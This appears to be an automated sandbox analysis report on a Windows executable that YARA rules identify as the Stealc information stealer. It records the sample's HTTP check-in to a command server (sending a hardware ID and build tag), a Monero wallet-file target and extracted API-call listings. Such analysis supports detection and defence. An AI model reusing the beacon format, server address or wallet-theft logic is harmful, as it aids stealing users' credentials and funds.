Oct 13, 2024 02:44:03.714075089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 02:44:03.719230890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 02:44:03.719355106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 02:44:03.719495058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 02:44:03.724503994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 02:44:05.426719904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 02:44:05.426851988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 02:44:05.430236101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 02:44:05.435091972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 02:44:05.656846046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 02:44:05.656961918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 02:44:08.558729887 CEST	49730	80	192.168.2.4	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.215.113.37	80	7260	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 13, 2024 02:44:03.719495058 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 13, 2024 02:44:05.426719904 CEST	203	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 00:44:05 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 13, 2024 02:44:05.430236101 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAFIEHIEGDHIDGDGHDHJ Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 46 41 46 34 31 37 35 44 39 42 36 31 37 30 39 33 34 31 30 38 36 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 48 4a 2d 2d 0d 0a Data Ascii: ------DAFIEHIEGDHIDGDGHDHJContent-Disposition: form-data; name="hwid"6FAF4175D9B61709341086------DAFIEHIEGDHIDGDGHDHJContent-Disposition: form-data; name="build"doma------DAFIEHIEGDHIDGDGHDHJ--
Oct 13, 2024 02:44:05.656846046 CEST	210	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 00:44:05 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	20:43:58
Start date:	12/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x680000
File size:	1'812'992 bytes
MD5 hash:	FB664593A62EBA5CEB677E19AEDC1673
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1767079494.000000000146E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1718963736.00000000051A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	8.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.7%
Total number of Nodes:	2000
Total number of Limit Nodes:	24

Executed Functions

Function 00699860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,01482398), ref: 006998A1
GetProcAddress.KERNEL32(74DD0000,01482320), ref: 006998BA
GetProcAddress.KERNEL32(74DD0000,014824E8), ref: 006998D2
GetProcAddress.KERNEL32(74DD0000,01482440), ref: 006998EA
GetProcAddress.KERNEL32(74DD0000,01482500), ref: 00699903
GetProcAddress.KERNEL32(74DD0000,014890A8), ref: 0069991B
GetProcAddress.KERNEL32(74DD0000,01475B90), ref: 00699933
GetProcAddress.KERNEL32(74DD0000,01475AB0), ref: 0069994C
GetProcAddress.KERNEL32(74DD0000,01482350), ref: 00699964
GetProcAddress.KERNEL32(74DD0000,01482470), ref: 0069997C
GetProcAddress.KERNEL32(74DD0000,01482488), ref: 00699995
GetProcAddress.KERNEL32(74DD0000,014822D8), ref: 006999AD
GetProcAddress.KERNEL32(74DD0000,01475DD0), ref: 006999C5
GetProcAddress.KERNEL32(74DD0000,01482290), ref: 006999DE
GetProcAddress.KERNEL32(74DD0000,01482218), ref: 006999F6
GetProcAddress.KERNEL32(74DD0000,01475C50), ref: 00699A0E
GetProcAddress.KERNEL32(74DD0000,01482230), ref: 00699A27
GetProcAddress.KERNEL32(74DD0000,01482260), ref: 00699A3F
GetProcAddress.KERNEL32(74DD0000,01475CD0), ref: 00699A57
GetProcAddress.KERNEL32(74DD0000,01482308), ref: 00699A70
GetProcAddress.KERNEL32(74DD0000,01475BB0), ref: 00699A88
LoadLibraryA.KERNEL32(014822A8,?,00696A00), ref: 00699A9A
LoadLibraryA.KERNEL32(014823F8,?,00696A00), ref: 00699AAB
LoadLibraryA.KERNEL32(014822C0,?,00696A00), ref: 00699ABD
LoadLibraryA.KERNEL32(01482278,?,00696A00), ref: 00699ACF
LoadLibraryA.KERNEL32(01482338,?,00696A00), ref: 00699AE0
GetProcAddress.KERNEL32(75A70000,01482380), ref: 00699B02
GetProcAddress.KERNEL32(75290000,014823B0), ref: 00699B23
GetProcAddress.KERNEL32(75290000,014823E0), ref: 00699B3B
GetProcAddress.KERNEL32(75BD0000,01482410), ref: 00699B5D
GetProcAddress.KERNEL32(75450000,01475D30), ref: 00699B7E
GetProcAddress.KERNEL32(76E90000,01489088), ref: 00699B9F
GetProcAddress.KERNEL32(76E90000,NtQueryInformationProcess), ref: 00699BB6

Strings

NtQueryInformationProcess, xrefs: 00699BAA

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: ad1bbda16a4376cdc115e08442a268f0bb3c439082a5461db7488de2ae3117ae
Instruction ID: e90d11b9e75d8bcb3970622a30c118ad49fa7be448549b50bdb3eeca76e73b76
Opcode Fuzzy Hash: ad1bbda16a4376cdc115e08442a268f0bb3c439082a5461db7488de2ae3117ae
Instruction Fuzzy Hash: 9CA12CB550024C9FD34CEFA8FD88E663BF9F74C309B14852AA646C3264D7399852CB66

Function 006845C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 0068460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 0068479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00684683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006845C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00684617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006846C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00684662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0068474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00684765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0068475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006846AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0068473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0068477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00684770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00684622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00684729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00684734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00684643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0068471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00684638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00684678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006845DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006846B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0068462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00684657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006845D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006846CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006846D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006845F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0068466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006845E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00684713

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: 9c4a41df6e23bdef17765bdd1d265d33d8945b029d2165286119870cf1063b2e
Instruction ID: 90277e5c3365dfb3e78ac40aee84fe76876ace450d49027ea3c058212d0db502
Opcode Fuzzy Hash: 9c4a41df6e23bdef17765bdd1d265d33d8945b029d2165286119870cf1063b2e
Instruction Fuzzy Hash: AA41F3607C6684FEC73CF7A4A84FE9D76575FCBB00F935044E841A6285CFB069404B26

Function 00684880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0069A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0069A7E6

Part of subcall function 006847B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00684839
Part of subcall function 006847B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00684849

Part of subcall function 0069A740: lstrcpy.KERNEL32(006A0E17,00000000), ref: 0069A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00684915
StrCmpCA.SHLWAPI(?,0148E838), ref: 0068493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00684ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,006A0DDB,00000000,?,?,00000000,?,",00000000,?,0148E8A8), ref: 00684DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00684E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00684E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00684E49
InternetCloseHandle.WININET(00000000), ref: 00684EAD
InternetCloseHandle.WININET(00000000), ref: 00684EC5
HttpOpenRequestA.WININET(00000000,0148E7A8,?,0148DF30,00000000,00000000,00400100,00000000), ref: 00684B15

Part of subcall function 0069A9B0: lstrlen.KERNEL32(?,014891A8,?,\Monero\wallet.keys,006A0E17), ref: 0069A9C5
Part of subcall function 0069A9B0: lstrcpy.KERNEL32(00000000), ref: 0069AA04
Part of subcall function 0069A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0069AA12

Part of subcall function 0069A8A0: lstrcpy.KERNEL32(?,006A0E17), ref: 0069A905

Part of subcall function 0069A920: lstrcpy.KERNEL32(00000000,?), ref: 0069A972
Part of subcall function 0069A920: lstrcat.KERNEL32(00000000), ref: 0069A982

InternetCloseHandle.WININET(00000000), ref: 00684ECF

Strings

", xrefs: 00684BF2
------, xrefs: 00684B28
------, xrefs: 006849BD
------, xrefs: 00684C69
", xrefs: 00684D33

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: 7ac2fbebc63bd5802c71d420feddee217f22b94d9f6d2cf1db2d882883a0bcb6
Instruction ID: 1e9272e0a36d166422f7eb91f374de04df4d18a0dada76f0fdc1716fc02316af
Opcode Fuzzy Hash: 7ac2fbebc63bd5802c71d420feddee217f22b94d9f6d2cf1db2d882883a0bcb6
Instruction Fuzzy Hash: 6912E971921118AADF54EB90DD92FEEB3BEBF15300F50419DB10662491EF702E49CFAA

Function 00697850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,006811B7), ref: 00697880
RtlAllocateHeap.NTDLL(00000000), ref: 00697887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0069789F

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: d21666ad70c3238a244bbb6f98da01a8c6251b05e34cc1adcbb1621028841625
Instruction ID: d0f13dbc10b9badc13b40dbe5546ec74484ece50901d10e400492ba806b8e903
Opcode Fuzzy Hash: d21666ad70c3238a244bbb6f98da01a8c6251b05e34cc1adcbb1621028841625
Instruction Fuzzy Hash: 8CF04FB1944208ABCB04DF99DD4AFAEBBBCFB04715F10026AFA05A2680C77915048BA1

Function 00681160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 0068116A
ExitProcess.KERNEL32 ref: 0068117E

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: d5fbe88888d172d4a4bb7c3888ddf4f9eecd6c369862836c195b7480d4f69ca5
Instruction ID: 44cf5ee2f88dbaa916132db9e137101b0d4ad597031a064159f15f0a3dcaea39
Opcode Fuzzy Hash: d5fbe88888d172d4a4bb7c3888ddf4f9eecd6c369862836c195b7480d4f69ca5
Instruction Fuzzy Hash: F6D05E7490030CDBCB04EFE0DC8DADDBB78FB08315F000694D94562340EA305482CBA6

Function 00699C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,01475E50), ref: 00699C2D
GetProcAddress.KERNEL32(74DD0000,01475E30), ref: 00699C45
GetProcAddress.KERNEL32(74DD0000,01489658), ref: 00699C5E
GetProcAddress.KERNEL32(74DD0000,01489670), ref: 00699C76
